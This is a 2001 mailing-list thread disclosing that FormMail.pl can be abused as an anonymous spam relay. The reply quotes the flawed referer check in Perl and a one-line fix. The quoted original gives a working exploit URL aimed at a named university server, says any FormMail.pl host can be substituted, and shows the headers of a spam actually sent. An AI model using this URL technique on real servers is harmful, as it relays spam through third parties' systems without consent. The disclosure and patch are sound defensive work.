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Re: CORRECTION to CODE: FormMail.pl can be used to send anonymous email

From: Palmans Pepijn <pepijn () KANGAROOT NET>
Date: Sun, 11 Mar 2001 22:36:32 +0100
The problem is in the sub check_url:
It sets $check_referer = 1 if there is no $ENV{'HTTP_REFERER'}
Under normal conditions your server will always be able to get the HTTP_REFERER.

simple solution is: change the 1 into a 0 after the else {

---snip---
sub check_url {

    # Localize the check_referer flag which determines if user is valid.     #
    local($check_referer) = 0;

    # If a referring URL was specified, for each valid referer, make sure    #
    # that a valid referring URL was passed to FormMail.                     #

    if ($ENV{'HTTP_REFERER'}) {
        foreach $referer (@referers) {
            if ($ENV{'HTTP_REFERER'} =~ m|https?://([^/]*)$referer|i) {
                $check_referer = 1;
                last;
            }
        }
    }
    else {
        $check_referer = 1;   <=== YEAH, THIS ONE ! :)
    }

    # If the HTTP_REFERER was invalid, send back an error.                   #
    if ($check_referer != 1) { &error('bad_referer') }
}
---snip---

On the other hand, there must be a reason why they've put that else in it so if it fails to work for you ....

Regards,

Pepijn Palmans
www.kangaroot.net ..... your online linux store.



On Sat, 10 Mar 2001, Michael Rawls wrote:


Hi All,
   I did a little playing with FormMail.pl after a run in with a spammer
abusing our webserver. Apparently ALL FormMail.pl cgi-bin scripts can be
used to spam anonymously.  I found another server with FormMail.pl and
tried the same exploit to send myself an email and it worked.

The email will not show the spammer's real IP.  Only the web servers IP
will show.  The web server logs will however show the true IP address of
the spammer.


===========
Actual example of email sent;
============
Return-Path: <apache () hum auc dk>
Received: from hercules.humfak.auc.dk (hercules.humfak.auc.dk [130.225.58.9])
      by mail.dancris.com (8.9.3/8.9.3) with ESMTP id RAA14431
      for <spam-l () shadowstorm com>; Sat, 10 Mar 2001 17:19:34 -0700
Received: from apache by hercules.humfak.auc.dk with local (Exim 3.02 #8)
      id 14bta3-0004tP-00
      for spam-l () shadowstorm com; Sun, 11 Mar 2001 01:19:27 +0100
To: spam-l () shadowstorm com
From: ()
Subject: WWW Form Submission
Message-Id: <E14bta3-0004tP-00 () hercules humfak auc dk>
Date: Sun, 11 Mar 2001 01:19:27 +0100
X-UIDL: TPj"!bg3"!i:T!!=FU"!

Below is the result of your feedback form.  It was submitted by
() on Sunday, March 11, 2001 at 01:19:27
---------------------------------------------------------------------------

message: Proof that FormMail.pl can be used to send anonymous spam.

---------------------------------------------------------------------------


Paste the line below in to your web browser URL box as one long single
line, insert your email in address in place of "email () address-to-spam com",
and press enter.  Now go check your email.

Begin URL code
================
http://www.hum.auc.dk/cgi-bin/FormMail.pl?recipient=email () address-to-spam co
m&message=Proof%20that%20FormMail.pl%20can%20be%20used%20to%20send%20anonymo
us%20spam.
================

If this technique was not already in use by a spammer I would have kept it
to myself, but it has already been on my server by a spammer.

The address "www.hum.auc.dk" can be replaced with the address of ANY
webserver set up to use FormMail.pl

-M. Rawls
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